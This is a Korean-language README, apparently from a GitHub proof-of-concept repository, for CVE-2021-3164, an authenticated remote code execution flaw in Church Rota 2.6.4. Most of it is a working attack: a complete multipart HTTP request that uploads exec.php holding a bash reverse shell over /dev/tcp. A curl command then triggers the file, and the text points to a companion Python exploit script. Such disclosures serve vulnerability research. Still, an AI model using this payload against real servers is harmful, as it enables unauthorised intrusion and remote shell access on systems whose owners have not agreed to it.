rmccarth/cve-2021-3164Church Rota 버전 2.6.4는 인증된 원격 코드 실행에 취약합니다. 사용자는 임의의 파일을 업로드하고 실행하기 위해 파일 업로드 권한이 필요하지 않습니다. 이 애플리케이션은 주로 PHP로 작성되었으므로 PoC에서 PHP를 사용합니다.
Church Rota 버전 2.6.4는 인증된 원격 코드 실행(authenticated remote code execution)에 취약합니다. 사용자는 임의의 파일을 업로드하고 실행하기 위해 파일 업로드 권한을 가질 필요가 없습니다.
Church Rota에 로그인한 후, PHPSESSID를 본인의 것으로 교체하여 다음 요청을 보내십시오:
POST /resources.php?action=newsent HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------78920178725041013532564196488
Content-Length: 571
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/resources.php?action=new
Cookie: PHPSESSID=ivaa0ck3snt9ajlm0od9d7lh4j
Upgrade-Insecure-Requests: 1
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcename"
exec
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcefile"; filename="exec.php"
Content-Type: text/plain
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/127.0.0.1/1234 0>&1'");
?>
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcedescription"
<p>text file upload</p>
-----------------------------78920178725041013532564196488--
그런 다음 파일을 다음과 같이 실행할 수 있습니다:
curl localhost:80/documents/exec.php
또는 웹 UI의 'resources' 아래에서 파일을 클릭하여 실행할 수 있습니다.
또는 간단히 pwntools와 requests를 pip install한 다음 제공된 cve-2021-3164.py 익스플로잇 스크립트를 설정하고 실행하십시오.